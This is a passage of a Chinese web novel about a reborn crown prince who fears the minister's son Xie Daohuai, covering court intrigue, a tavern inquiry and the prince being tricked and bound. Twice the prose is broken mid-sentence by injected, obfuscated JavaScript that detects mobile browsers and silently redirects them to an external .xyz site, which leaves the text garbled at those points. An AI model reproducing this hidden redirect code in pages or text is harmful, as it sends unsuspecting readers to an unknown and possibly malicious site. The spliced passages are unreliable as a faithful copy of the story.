方才还兴致盎然的人,忽地呆站在原地,不再往前。 对此,王世松反应慢上一拍, 他继续将此事,娓娓道来:“谢丞相的臆病愈发严重,不能上朝已有半年。前段时日,他儿子还是市井有名的酒蒙子,极爱趁着酒劲,疯癫行事,将谢家闹得鸡犬升天。这下不知怎的,居然也想走走仕途了。” 说完,王世松意识到身后人许久未言。 他将视线扭去身后。 看清太子神态后,他表情凝滞一瞬,浮上罕见的困惑。 他关切问:“殿下是身体不适吗?” 太子殿下向来没心没肺,天不怕地不怕。 此时却盯着一处,浑身发抖,原本白净的美艳脸庞,也变成毫无血色的煞白。 活像看见地狱里的鬼煞。 他看的,是前方的位置。 王世松不明所以,循着视线望去。 不远处,有一男子倚靠朱色高墙,闭目养神,他身着镶嵌金纹的墨色长袍,束着高马尾。 虽是来上朝的官员之一,却弃置礼仪,既未及官袍,也未戴官帽。 竟然有人来得更早。 此人模样俊朗,作态却散漫,听见动静走近,也只慢吞吞地睁开一只眼。 倏然间,像是察觉什么,挑起眉眼,侧过身来,向着三人方向,展露一笑。 这一笑,不知怎的,透着几分寒气。 王世松认得这张脸,这是谢丞相家中那个浑不吝的少年,似乎名叫…… 谢道怀。 奚舟的脑子久久轰鸣,无法思考。 他以为他不会再怕了,但当人在近前,身体却先一步无法动弹。 前世的他为众臣所弃,被人所囚。 而前世的王世松政斗落败,横死府邸,被人所杀。 这个人,皆是眼前的谢道怀。 6.归来曲(肆) 奚舟逼迫颤抖的身体冷静下来。 眼前的谢道怀,一未坐上丞相之位,二未与自己有任何瓜葛。 他不该怕的。 思索间,谢道怀目光已落定,朗声浅笑作揖:“叔父好。” 王世松出身贫寒,苦读十载进京赶考,高中榜首后,将年轻时的谢鼎之,认作异父异母的兄长。 谢鼎之一路高升丞相,二人变作上下级,为避免朝堂闲话,王世松常避讳谈论此般话题,但二人兄弟情谊,不曾改变。 谢道怀对王世松的称谓,是最好的证明。 王世松点头应下,抬手一指身侧少年,为奚舟介绍:“让微臣为殿下引见一番,这是丞相长子,名为谢璟,字道怀。” 说罢,他又向奚舟躬身行礼,为谢道怀引见:“道怀久居市井,想必对宫中之事并不了解,这便是……” 谢道怀视线微挪:“拜见太子。” 奚舟的心跳漏跳一拍。 他认识自己? 王世松同样稀罕,挑着眉,向他发问:“你识得殿下相貌?” “自然识得。”谢道怀笑着说,“每一处都识得。” 这话又是什么意思? 说者无意,听者有意。奚舟攥紧掌心,沁出冷汗。 被迫委身的屈辱画面翻腾上来,他几乎可以听见胸口下心脏剧颤的声响。 短吁一口气,他强使自己开口,发出命令的质问,尾音却打颤。 “……你在何处见过我?” 谢道怀的视线纹丝不动,看他半晌,却不回答,奚舟不敢动弹,对视的这几秒,又让他陷入极惧的恍惚中。 “我曾在家父口中听闻过殿下事迹。”不知观摩了什么,谢道怀终于开口,语调如常,“今日得见殿下风姿,与家父描述相差无二。” 此话一出,石头落地。 他在想什么呢? 谢道怀不可能会死,所以不可能重活一世。 一方面,奚舟并不相信谢道怀这番夸赞,他前世一心听从赵呈象,谢鼎之恨他愚蠢还来不及,怎会与亲生儿子夸赞自己。 另一方面,疑虑消散后,他已无心顾忌谢鼎之在背后如何编排自己。 谢鼎之心机叵测是真,比不上亲儿子一半狡诈也是真。 王世松面露欣慰,哈哈大笑:“当真百闻不如一见,听他人说谢府的混小子洗心革面,叔父一直半信半疑,如今亲眼见到道怀你,叔父才敢真的相信此事。” 谢道怀也笑:“家父苦心孤诣,荐我入朝,自当不敢辜负。” 二人对笑,一人暗下神色。 目光悬浮,落在王世松脖颈。 奚舟嘶口凉气。 前世的王世松在自家府邸被砍断头颅,凶手正是此刻与他言笑晏晏的义侄。 天光明亮,晨鼓敲响。 奚舟藏在帘后,观摩朝堂对峙。 身旁侍立一众宫人,以及王世松与谢道怀二人。 他对此番地界格外熟稔,前世上早朝时,官员说起陈词滥调时,他便在帘后装作聆听,实则昏睡了过去。 无聊的朝堂,偶尔也有他爱看的景象。 比如此时正在上演的狗咬人。 赵呈象直指前方,神色激切,大声呵斥:“李无相,大梁的将军之位,岂容你一人独断?” 李无相被他指着鼻子,劈头盖脸一顿骂,依然淡然端坐,纹丝不动。 玉砌雕椅边,架有一把长剑。 李无相身负赫赫战功,先帝对他百般容让,既允他带剑上朝,也允他落座听朝。 他道:“并非我一人独断,夷则是军中众将士全数推选出来的合适人选。” 赵呈象:“你捡来的义子,生的那张奇异面貌,绝非是大梁子民,而是……” 话到此处,他语气加重:“西域罪民!” 此话一出,朝堂议论纷纷。 奚舟眸光忽闪,神色紧张。 赵呈象身为大梁监察,在他人看来喜怒无常,行事作风难以揣度,他先借先帝情谊,后使少帝威风,在大梁朝中名正言顺地横行霸道。 只是奚舟不知,赵呈象竟还想过弹劾将军之位。 他忽地想起,在他哀求李夷则征伐边疆前,便是赵呈象与他提起,明君应当忧心疆域子民的安危。 他听从了谏言。 从宣武军的铁蹄踏出玄都,朝堂便深陷灰暗的泥沼。 赵呈象又骂:“我大梁将军,让一个西域罪民来当,是违逆天理的丑事!” 官员吵架最好看的,无非是互揭丑料。 “我一介武夫,不懂什么三纲五常,但是赵呈象,”李无相挑眉问,“你杀兄牟取官位之时,是不是大逆不道?” 他继续说:“我从未以私心独断将军之位,谁能护住大梁疆土,这个将军之位,我便爽快地拱手让于他,而这个人,我已于十年前遇到,有幸收为了义子。” “有幸?”赵呈象失控大笑,前仰后合,“好一个有幸啊!” “武将之位,若是代代都一个姓。”他四处张望,睁大双眼,质问神色惶惶的一众官员,“这江山究竟是皇上的,还是李家的?” 满朝文武,无人敢言。 平静下来,赵呈象长叹道:“大梁建朝以来,和平许久,粮草拨款不曾间断,也不曾克扣。这么多笔钱财,只用于养军蓄锐,只怕……” 终于有一武官,愤懑出言:“查腐败贪污,不就是你赵呈象的职责吗?” 武将皆站在李无相这头:“你若是怀疑,自己来将军府中查便是,不必在朝堂上,空口白牙污蔑忠将。” “赵呈象是疯了吗!” 奚舟抓着金帘,恨不能破帘而出。 他小声地急切道:“李无相在位时,何等的清正廉洁,怎会行贪污之事,他当堂胡言乱语,为何只有寥寥几人驳斥他?” 他回头,看的是王世松。 王世松只肃着面色,向他恭敬地颔首行礼,却不发一言。 朝中争吵二人,官职皆高于他,王世松行事又是出了名的左右逢源。 何况此二人相争,丞相可因此获利。 “他说得有理无理不重要。”开口的,竟是谢道怀,“重要的是在众臣心中埋下将军府吞污军饷拨款的可能。” 他抱着双臂,神态总带散漫。 却让在场二人,俱是一惊。 “昨日没贪污,今日不贪污,不代表明日不想贪污。”谢道怀继续道,“一旦发现将军府有贪污的可能,朝堂中无数双眼睛,就会怀揣各种心思,不谋而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616939|171784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合地盯向将军府。” “身正不怕影子斜。”奚舟言辞激动,一时忘了眼前是他惧怕之人,“他们看了又能如何?” 谢道怀先是沉默,后是一笑:“望承殿下所愿。” 此话有几分真切的祝愿,奚舟已管不得了。 谢道怀疯癫是不假,但聪明也是真。 他执着提问:“赵呈象为何这么做?” “听闻民间有一味致幻迷药,风靡权贵之间,此迷药可使人上瘾,产生幻觉,名为梦浮生。”谢道怀佯作苦思冥想,“赵监察此番作态,莫不是误食了?” 奚舟:“当真?” 谢道怀话锋一转,淡然笑道:“戏言罢了。” “我说得对吗?”他回过头,语调放缓,唤道,“叔父。” 奚舟随他视线,一道看去。 竟望见王世松眉心紧锁,神色出奇惊惧,见二人同步望他,才潦草收拾神态。 他僵硬勾唇,赞叹鼓掌,视线先及奚舟:“道、道怀所言,臣不敢妄论对错,但……当、当真是好见识。” 难断方才哪句话逼人至此,竟让一个脾性见风使舵的老狐狸,兀自胡言乱语起来,夸赞对朝堂两位重臣的揣度之言。 远处宫人以眼神示意。 王世松拭去急汗,施礼告退:“想必是有人急召微臣,微臣暂且告退。” 他走后,奚舟来不及害怕,顷刻便听得身旁男人妄加评断。 谢道怀悬臂扬笑:“殿下是不是害怕我?” “为何这么说?”他心虚难掩,索性换上前世跋扈面孔,仰起下颌,睨视来人,“你我二人从未见过,本太子为何要怕你?” 谢道怀:“那就好。” 太子殿下虚张声势,极快败下阵来,像狸奴耷下耳朵:“……好什么?” “殿下不害怕我。”谢道怀强调,“我很高兴。” …… 早朝散场,唯剩奚舟还在帘后。 众官员拥簇上前,与谢道怀谈论风生,他听了一嘴,无非是夸些虚言,论些家常。 这群人对着半月前还在酗酒闹事的市井流氓,竟摆出夸耀大有作为的虚假面貌。 谢道怀会觉得这一切可笑吗? 奚舟在心中问。 过了半刻,王世松又来寻他。 王世松:“微臣的世侄,殿下用起来如何?” 奚舟如梦初醒。 他僵硬扭头,身后的哑巴沉默不语,二人相视无言。 戏看得入迷了,差点忘了还有个难缠的尾巴。 “不好。”他立即摇头,情真意切,“王大人能带走他吗?” “道怀的才情,先前当真是被臣忽略了。”王世松感慨,“若臣早知他有这般见识,早将他也带来为殿下效力了。” 又是这招转移话题。 “王世松,虽然你待我并不好。”奚舟深沉地,向王世松望去一眼,“但本太子不妨劝你一句,千万别与他斗。” 会死得很惨。 他把后半句吞进肚子里,算作对王世松阴谋诡计施行的报应。 王世松:“……” 思考此话深意不过半秒,太子殿下已决绝地扬袖而去,余留他一人东张西望。 此话里的他是谁? 7.归来曲(伍) 东宫别院,残阳照水。 东风骤起,落花浮波。 头枕臂弯,奚舟躺在石桌上,看似闭目小憩,实则眉心紧皱。 一排宫人侍立近旁,脖颈微弯,僵滞面色,一动不动。 纵使性情大变,他们轻易也不敢靠近太子殿下。 三天前的太子殿下,还喜怒不定,经常对宫人施以杖刑。若非赵监察阻拦万般,杖毙之人怕是能填满整个东宫。 唯有二人离得最近。 一位是两次结伴殿下出行的小桌子。 一位是王世松的世侄陈无咎。 奚舟忽地睁眼,拍案而起,眼眸亮得惊人:“小桌子,我要查一个人。” 小桌子一惊,忙应:“殿下要查谁?” 他刚要回答,醒悟过来,以掌遮唇:“隔人有耳,不便透露。” 小桌子身后,陈无咎被刻意点名,眉也不抬,讷然直立。 他腰间佩有长剑,此剑为王世松所赠,名为长绝,虽是好剑,但品性极凶,四代主人皆不得善终,世间少有能驭此剑者。 在奚舟看来,王世松无非是欺负无家可归的哑巴,将这烂剑给了他,还走了狗屎运。 这哑巴竟将这剑使得极好。 奚舟没有习武天分,三度请教名师,逼气渡入经脉,都以失败落空。 用不了内力,如何竭力练武,也只能做平庸之辈里的佼佼者。 那些年月里,看着身边毫不费力突破品级的李夷则,他更是气不打一处来。 于是年至十三,在奚舟折断第五把剑之时,他决定放弃习武,去找小宴游花会。 还暗自在心中庆幸,还好小宴不会武功。 他所学的三脚猫功夫,用来行侠仗义很困难,保护弟弟却绰绰有余。 小桌子一下意会,躬身提议:“殿下不必直接说出此人的名讳或身份,可以旁敲侧击,形容一下此人。” “他疯癫易怒。” 小桌子点头。 “不近人情。” 又点头。 奚舟继续道:“一点小事,大动干戈,要致人于死地。” 小桌子翕动嘴唇,听得眼皮狂跳:“这个人是……” 三天前的殿下吗? 他胆大包天的措辞没出口,只听太子殿下眼含愤懑,咬牙切齿,手指顿颤,骂道:“还是个登徒子。” 小桌子松了口气。 看来殿下没有疯到自己骂自己的地步。 宣泄完愤怒,太子殿下神游天外,片刻又说:“……可是今日所见的他,竟学会掩盖疯性,装腔作势了。” “此人致人于死地,”小桌子问,“是兴趣使然?还是事出有因?” “……” 见殿下眼巴巴看着他,所露神态,似乎极盼望他将此话往下说。 “兴趣使然,此人便无法改变。”小桌子解释,“如果事出有因,他的本性也许并不坏。” 奚舟沉默良久,只说一句:“我不知道。” 前世,他与谢道怀朝夕相伴半载,但他竟不了解谢道怀的任何事。 …… 夜市千灯,长街巷明,宾客纷纷,流连繁景。 民间市井之间,奚舟身着华贵锦袍,伫立人群,美似谪仙。 他眼神落定的一处,牌匾篆刻“无有乡”三字。 不提谢道怀名讳,只提他所经历之事,他搜刮肚肠,寻不出一件,只知王世松所提及的“酒蒙子”一词。 无有乡,玄都最大的酒楼,近及烟柳花巷,夜夜歌舞,纸醉金迷。 许多不学无术的权贵,将此地当作地上仙境。 一进门,便听得算盘拨珠声。 今夜温热,酒楼东家瞧着年岁三十,只着鹤灰色里衣,肩披青色外衫,咳嗽不止,病气深重。 奚舟行过门楣,要寻位落座。 东家抬起头来:“酒楼内不得带入刀剑等器物。” 奚舟依然稳步向前。 东家重复:“酒楼内不得带入刀剑。” 确定身侧无人,奚舟认命找寻,摸遍身体,没找着武器,倏尔醒悟。 他扭过头去。 背后的陈无咎恍若未闻,动也不动。 奚舟大喜,深吸一口气,对着东家,神色真挚:“我与他不是一道来的。” 说着,大步迈出。 被狠狠一拉,他踉跄几步,勉强立住,才没与陈无咎相撞。 奚舟难以置信地瞪大双眼。 这个臭不要脸的跟屁虫,竟然还动手动脚的! 东家拨下算珠,将方才奚舟所言,反问一遍:“你们不是一道来的?” 奚舟认栽,怨怼望人,压低声响:“要么人滚,要么剑滚。” 下一秒,奚舟被陈无咎抓住手腕。 他在震惊中不得缓身,陈无咎已在他手心描摹笔画,缓缓写字。 “我、在、门、外、等。” 写完最后一个字,他将手松开,拉开几步,动作极干脆。 掌心触感未消,他已背身站于门外。 奚舟抬着手掌,与酒楼东家对视。 东家低下头去:“进去吧。” 进入正堂,酒气熏天,奚舟平日喝酒,但不酗酒,但在这无有乡夜宿的,最恶是不着家的酒鬼,最次也想寻得一日一醉方休。 一楼正堂,宾客睡了一地,个个面色酡红。 清醒之人寥寥无几。 进入堂内的必经之路便有一人横躺。 他俯下身,狠掐此人脸颊。 对方吃痛叫唤,慢吞吞睁开眼睛,原先眼色涣散,忽地清明。 像看见稀世宝物。 他眯了眯眼,笑道:“美人,你从哪里来的啊?” 奚舟嘴角抽搐,扇他一掌。 那人顶着红肿右脸,轻轻抚摸,痴笑道:“美人你劲好大啊。” 懒得与此人胡扯,奚舟切入正题:“你认识谢道怀吗?” “当然认识啊!” 奚舟眼眸发亮:“你觉得他人如何?” “不如何。”这人摇头,念念有词,“相当不如何。” 问话之人语气兴奋:“他做了什么险恶之事?” 应答很快入耳:“他打了我。” “那真是……” 替天行道啊。 奚舟咬牙起身,环顾一圈,开始物色下一位人选。 谁知此人拽着他裤腿,死活不放:“美人,你是被谢道怀抛弃了吗?” 他迷迷瞪瞪,含糊措辞:“不要伤心,你如此貌美,不是完璧之身,我也不嫌,你跟着我……” 奚舟一脚踢在此人后脑勺。 闹腾不止的人,一下晕厥了过去。 又是几轮打听,他问了住不起客栈,只得蜷缩角落背读卷宗的书生,也问了暂时滴酒未沾的酒楼新客。 他们对于谢道怀,要么一概不知,要么与王世松所说一致,聊不出新意。 那么就像小桌子所说,谢道怀生来就是如此? 他抖了抖身子。 当真可怕。 回到酒楼入口,东家神色阴郁,阻拦他的步伐,直切主题:“方才是你一直在酒楼问谢道怀?” 奚舟眨了眨眼,下意识脱口而出:“你知道谢道怀?” “你是何人?”东家不答,“为何要问谢道怀的事?” “我……” 情急之下,想起书生所说的春闱之事,又想到谢道怀喜好闹事,奚舟随口扯了个小谎。 “我是进京赶考的书生,谢道怀脾性顽劣,喝醉酒时,将酒水泼在我高价购买的往年卷宗上。” “待他醒酒,我要他赔偿,他却赖债。后来我去报官,官府也不允立案,我实在感到奇怪,便想着与人打听他的事,知根知底,也好再作打算。” 奚舟满腹心虚,吞吞吐吐,终于编完一个连贯的故事。 见东家许久未言,他隔着间距,悄悄眺上一眼。 “那就不要问了。”东家却在此时厉色道,“你要走仕途,就不该做出如此愚笨之事。在玄都中,知道他的事,对一位进京赶考的书生没有任何好处。” 夜色浓重,灯火明亮。 有一人停步酒楼,走入其中。 东家一手捏火折子,一手置换燃尽的烛蜡,点着了火,火光照亮前路的来人。 他问:“你泼了别人的卷宗?” 夜风穿堂,摇晃一窗灯影。 谢道怀兴致缺缺,只懒散回道:“谁说的?” “一位春闱书生,行事莽撞,见识短浅。”东家出言贬损时,神态事不关己,想到一处无关紧要的,他眉一挑,“不过,生得很漂亮。” “有多漂亮?” 东家沉思几秒,勾唇道:“倾国倾城。” 听着邻楼笙歌,望向月下烛光,谢道怀忽然笑了。 他不解释,淡淡应道:“对,我是泼了他的卷宗。” …… 奚舟气冲冲走在前,陈无咎被他扯拽衣袖,趋步殿后。 “王世松不是让你保护我的吗?”奚舟气结回头,“方才那东家那般辱我,你们习武之人听力极好,你定然听见了,你怎么不……” 话到这儿,戛然而止。 奚舟痴愣了一般,睁大眼睛,握着陈无咎的手力猛然一松。 忽然,一掌扇向自己的嘴巴。 陈无咎看着他,波澜不惊的脸色,竟破开一道裂痕,展露出真正意义上的惊异。 “没事。”奚舟突然笑起来,“我刚刚疯了,你不要在意。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634468|171784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他不能重蹈覆辙。 不问便不问了,但既然出宫了,他定然要去夜巷玩一趟。 奚舟拖着陈无咎,行过千灯。 许久未放松,玩乐起来,便忘乎所以,他将夜巷小摊通通逛了一遍,猜了灯谜,画了糖人,还挑了面具。 意犹未尽的他捏着糖人,提着灯笼,连陈无咎都看得极顺心。 春风呼呼,夜虫低鸣。 沉沉的脚步声响在耳边。 前方景象太过骇人,吓得他手指一松,兔子形状的糖画落地,染上污泥。 他此番偷跑出来,只有小桌子打掩护。 可对方身份低微,面子太薄,说出来的话,分量极轻。 深夜来临,此刻街头巷尾,全是便装出巡,紧密搜罗的宫中武侍。 面具仅遮了半边脸,他又穿得如此招摇,若是有心寻他,想必轻而易举。 奚舟心跳加快,抬袖遮面。 又把另一只手攥着的精巧木雕硬塞进陈无咎掌心,又塞入一锭银子。 他急道:“你帮我付账。” 他还没玩够呢。 陈无咎扭头的功夫,他蹲下身子,在拥挤人群里蹲着前进,寻到一处空落的书画摊,蹑手蹑脚,爬入桌槽,屏息憋气。 他曾听李夷则说,武者能闭眼辨人方位的原因,并非真是天人感应,而是依照气息寻觅,若掩藏之人屏住呼吸,至少在这阵功夫里,他们找不到此人。 等脚步声走远,他从桌槽爬出。 形势所迫,他爬得狼狈,也爬得极快。 如今,他身至巷尾,陈无咎也不见踪迹。 巷尾连着店楼,唯有一处后门大开,他不敢停步,跑入其中,气喘吁吁。 此处是柴房,只点了一盏灯,算不得亮堂。 “义士!” 有人出声。 奚舟结结实实吓了一跳。 在这狭隘的灶房中,竟有人的踪迹。 他握着烛台,照亮前路,他的身前,有个被麻绳五花大绑的男子。 奚舟问:“你是?” 男子眉飞色舞,口若悬河:“我观这位义士,气度不凡,仪表堂堂,身上可有银两可借于在下啊?” 莫名被夸了一顿,不借倒显得不知好歹。 奚舟久居深宫,极少见到无赖,听得此话,满心受用,于是仔细摸索一番,却没摸出半个子儿。 最后的银子,貌似是交于了陈无咎,付了木雕的钱…… “我……”奚舟难以启齿,“没钱了。” 男子竟毫无失望之色:“那义士可否将在下松绑。” 奚舟不无怀疑:“你为何被人五花大绑?” “义士有所不知,此地东家不讲道理,实在黑心啊,我只来了一趟,他却要我付三百两银子,我交不出来,便差人将我绑在了这里,逼我就范啊!” 此段描述,言辞激烈,措辞流畅,没有半点打磕。 奚舟信了:“三百两银子很多吗?” 男子:“……” 奚舟叹了口气,为男子松绑:“不管多不多,绑人肯定是不对的。” 男子听得感激涕零:“义士果真仗义。” 绳子松开,男子站起身来,鞠躬向他道谢,奚舟刚要推拒礼数,蓦然后脑一痛,失去意识。 再醒来时,他已经被五花大绑。 一直戴着的面具,也掉在了一边。 眼前是方才的男子,谄媚全然不见,只露着得意笑容,用力捆紧他双脚处的绳索。 奚舟一面气昏了头,一面震惊不已,刚想破口大骂,又被那人在嘴部贴上封条。 男子双手合十,作虔心姿态,嘟囔道:“义士,我也是没办法啊,谁叫你没带银两,人还如此心善,我家中境况不好,不能被带去官府强行还债,只能委屈你了。” 末了,他的手指勾在奚舟脸颊,不无叹息:“倘若不是我着急逃跑,你这张脸与这般身段,纵使是男人,我也想浅尝一二啊。” 奚舟说不出话,只能嫌恶地挪开脸,用力挣扎,尝试挣脱绳索。 下一秒,他的脑袋被男子用麻袋套住,眼前陷入昏天暗地。 脚步渐渐跑远。 他只能发出微弱的呜呜声,叫天天不应,叫地地不灵。 …… 柴房不断传出奇怪的叫唤。 有人失了耐心,走入其中。 此人是青楼老鸨雇佣的打手,他语气不耐,骂了句脏,正要掀开麻袋。 准备一拳打在这个臭老赖脸上。 谁知,麻袋一掀,入目是一张完全陌生的脸。 眼含水色,眉似弯月,五官如墨勾画,几绺发丝,颇为杂乱。 美丽的脸上,显露着倔意。 他看呆了。